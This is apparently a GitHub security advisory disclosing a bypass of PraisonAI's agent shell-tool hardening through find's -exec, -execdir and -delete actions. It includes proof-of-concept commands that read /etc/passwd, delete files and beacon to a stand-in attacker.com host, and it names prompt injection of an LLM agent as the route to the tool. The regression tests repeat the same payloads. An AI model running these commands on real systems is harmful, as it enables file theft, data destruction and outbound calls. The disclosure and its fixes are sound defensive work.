The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap |
|---|---|---|---|
| 1 | TS utility-tools shell() |
src/praisonai-ts/src/tools/utility-tools.ts:255 |
find in safeCommands allowlist |
| 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 |
find absent from DEFAULT_BLOCKED_COMMANDS |
| 3 | Python safe_shell |
src/praisonai/praisonai/cli/features/safe_shell.py:22-58 |
find absent from BANNED_COMMANDS, present in SAFE_COMMANDS |
| 4 | Python sandbox_executor |
src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 |
find absent from blocked_commands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + |
Result |
|---|---|---|
| Metachar regex `/[; | &`><]/` | {, }, + are not in regex |
Regex /\$\([^)]*\)/ |
No $(...) |
PASS |
safeCommands.includes('find') |
find IS in allowlist |
PASS |
| SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) |
PASS |
spawn('find', [...], {shell:false}) |
find interprets -execdir internally |
BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? |
|---|---|---|
Access to shell() or SandboxExecutor |
Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |
find binary on target |
Standard Unix utility, present on Linux/macOS | Y |
find in allowlist / absent from blocklist |
Default configuration in each implementation | Y |
1. Data exfiltration via -execdir (utility-tools.ts)
const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() {
// Control: direct 'wget' is rejected (not in safeCommands)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero
4. Python safe_shell
from praisonai.cli.features.safe_shell import safe_execute
result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
-execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)-delete destroys files without metacharacters (verified: clean exit 0)-exec runs commands not in safeCommands (side effect fires regardless of exit code)Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests:
test('rejects find -exec', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
{
"cwe_ids": [
"CWE-693",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:00:55Z",
"nvd_published_at": null,
"severity": "HIGH"
}